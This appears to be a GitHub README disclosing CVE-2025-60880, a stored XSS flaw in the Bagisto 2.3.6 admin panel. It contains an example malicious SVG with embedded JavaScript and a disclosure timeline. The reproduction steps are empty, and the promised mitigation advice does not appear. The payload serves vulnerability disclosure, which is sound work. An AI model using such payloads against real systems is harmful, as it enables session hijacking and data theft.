shenal01/cve-2025-60880Proof-of-concept for a stored XSS vulnerability in Bagisto admin panel, demonstrating SVG upload with malicious JavaScript and providing mitigation recommendations.
An authenticated stored XSS vulnerability exists in the Bagisto 2.3.6 admin panel's product creation path, allowing an attacker to upload a crafted SVG file containing malicious JavaScript code. This vulnerability can be exploited by an authenticated admin user to execute arbitrary JavaScript in the browser, potentially leading to session hijacking, data theft, or unauthorized actions.
The vulnerability is exploited when an authenticated administrator uploads a crafted SVG file containing malicious JavaScript.
Steps to Reproduce:
Example Malicious SVG Payload:
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert(document.domain);
</script>
</svg>
| Date | Action |
|---|---|
| 2025 AUG | Vulnerability Discovered |
| 2025 AUG | Responsible Disclosure |
| 2025 AUG | CVE ID Requested from MITRE |
| 2025 OCT | CVE Assigned, Public Disclousure |
The information and proof-of-concept (PoC) code provided in this repository are for educational and ethical research purposes only. The author is not responsible for any misuse or damage caused by the information or code provided herein. The user assumes all responsibility for their actions. It is the user's responsibility to ensure they are compliant with all applicable local, state, and federal laws.